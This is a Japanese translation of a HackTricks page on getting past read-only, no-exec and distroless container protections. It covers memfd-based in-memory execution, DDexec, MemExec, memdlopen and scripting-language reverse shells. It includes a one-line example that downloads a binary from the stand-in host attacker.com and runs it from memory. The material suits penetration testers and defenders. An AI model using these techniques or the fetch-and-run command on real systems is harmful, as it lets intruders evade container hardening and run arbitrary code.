11 KiB
FS保護のバイパス: 読み取り専用 / 実行不可 / Distroless
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告掲載したい場合やHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見する、私たちの独占的なNFTコレクション
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- ハッキングのコツを共有するために、 HackTricksとHackTricks CloudのgithubリポジトリにPRを提出する。
動画
以下の動画では、このページで言及されているテクニックについてより詳しく説明しています:
読み取り専用 / 実行不可シナリオ
特にコンテナ内では、読み取り専用(ro)ファイルシステム保護が設定されたLinuxマシンを見つけることが増えています。これは、コンテナにroファイルシステムを設定するのが、securitycontext
で**readOnlyRootFilesystem: true
**を設定するだけで簡単だからです:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
しかし、ファイルシステムがroとしてマウントされていても、/dev/shm
は書き込み可能なので、ディスクに何も書き込めないわけではありません。ただし、このフォルダは実行不可の保護でマウントされるため、ここにバイナリをダウンロードしても実行することはできません。
{% hint style="warning" %}
レッドチームの観点からすると、システムに既に存在しないバイナリ(バックドアやkubectl
のような列挙ツールなど)をダウンロードして実行することが複雑になります。
{% endhint %}
最も簡単なバイパス: スクリプト
バイナリについて言及したことに注意してください。マシン内にインタープリタがある限り、sh
が存在する場合はシェルスクリプト、python
がインストールされている場合はpythonスクリプトなど、任意のスクリプトを実行できます。
しかし、これだけではバイナリバックドアや実行する必要がある他のバイナリツールを実行するには不十分です。
メモリバイパス
ファイルシステムがバイナリの実行を許可していない場合、最良の方法はメモリから実行することです。なぜなら、保護はメモリ内では適用されないからです。
FD + execシステムコールバイパス
マシン内に強力なスクリプトエンジンがある場合、例えばPython、Perl、Rubyなど、メモリから実行するバイナリをダウンロードし、それをメモリファイルディスクリプタ(create_memfd
システムコール)に保存することができます。これは保護の対象外であり、その後**exec
システムコールを呼び出して実行するファイルとしてfdを指定**します。
これには、プロジェクトfileless-elf-execを簡単に使用できます。バイナリを渡すと、指定された言語のスクリプトを生成し、バイナリを圧縮してb64エンコードし、create_memfd
システムコールを呼び出して作成されたfdにデコードして解凍する指示と、それを実行するためのexecシステムコールの呼び出しを行います。
{% hint style="warning" %}
これは、PHPやNodeのような他のスクリプト言語では機能しません。なぜなら、これらの言語にはスクリプトから生のシステムコールを呼び出すデフォルトの方法がないため、バイナリを保存するためのメモリfdを作成するcreate_memfd
を呼び出すことができません。
さらに、/dev/shm
にファイルを持つ通常のfdを作成しても、実行不可の保護が適用されるため、実行することはできません。
{% endhint %}
DDexec / EverythingExec
DDexec / EverythingExecは、自分のプロセスのメモリを**/proc/self/mem
を上書きすることで変更する**技術です。
したがって、プロセスによって実行されているアセンブリコードを制御することで、シェルコードを書き込み、プロセスを"変異"させて任意のコードを実行することができます。
{% hint style="success" %} DDexec / EverythingExecは、独自のシェルコードや任意のバイナリをメモリからロードして実行することを可能にします。 {% endhint %}
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
このテクニックについての詳細はGithubをチェックするか、以下を参照してください:
{% content-ref url="ddexec.md" %} ddexec.md {% endcontent-ref %}
MemExec
MemexecはDDexecの自然な次のステップです。これはデーモン化されたDDexecシェルコードで、異なるバイナリを実行したいたびにDDexecを再起動する必要はなく、DDexecテクニックを介してmemexecシェルコードを実行し、このデーモンと通信して新しいバイナリをロードして実行することができます。
PHPリバースシェルからバイナリを実行するためにmemexecを使用する例はhttps://github.com/arget13/memexec/blob/main/a.phpで見ることができます。
Memdlopen
DDexecと同様の目的で、memdlopenテクニックは、後で実行するためにメモリ内にバイナリをより簡単にロードする方法を提供します。これにより、依存関係を持つバイナリをロードすることも可能になるかもしれません。
Distroless Bypass
Distrolessとは
Distrolessコンテナには、特定のアプリケーションやサービスを実行するために必要な最小限のコンポーネントのみが含まれており、ライブラリやランタイム依存関係などが含まれますが、パッケージマネージャー、シェル、システムユーティリティなどの大きなコンポーネントは除外されています。
Distrolessコンテナの目的は、不要なコンポーネントを排除し、悪用される可能性のある脆弱性の数を最小限に抑えることによって、コンテナの攻撃面を減らすことです。
リバースシェル
Distrolessコンテナでは、通常のシェルを取得するためのsh
やbash
が見つからないかもしれません。また、ls
、whoami
、id
などのバイナリも見つからないでしょう。通常、システムで実行するものは何もありません。
{% hint style="warning" %} したがって、通常のようにリバースシェルを取得したり、システムを列挙することはできません。 {% endhint %}
しかし、侵害されたコンテナが例えばflask webを実行している場合、pythonがインストールされているため、Pythonリバースシェルを取得することができます。nodeを実行している場合は、Nodeリバースシェルを取得でき、ほとんどのスクリプト言語でも同様です。
{% hint style="success" %} スクリプト言語を使用して、言語の機能を使ってシステムを列挙することができます。 {% endhint %}
読み取り専用/実行不可の保護がない場合は、リバースシェルを悪用してファイルシステムにバイナリを書き込み、それらを実行することができます。
{% hint style="success" %} しかし、この種のコンテナでは通常これらの保護が存在しますが、前述のメモリ実行テクニックを使用してそれらをバイパスすることができます。 {% endhint %}
スクリプト言語のリバースシェルを取得し、メモリからバイナリを実行するために、いくつかのRCE脆弱性を悪用する例はhttps://github.com/carlospolop/DistrolessRCEで見つけることができます。
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェックしてください!
HackTricksをサポートする他の方法:
- HackTricksに広告を掲載したい場合やHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手してください。
- The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックしてください。
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。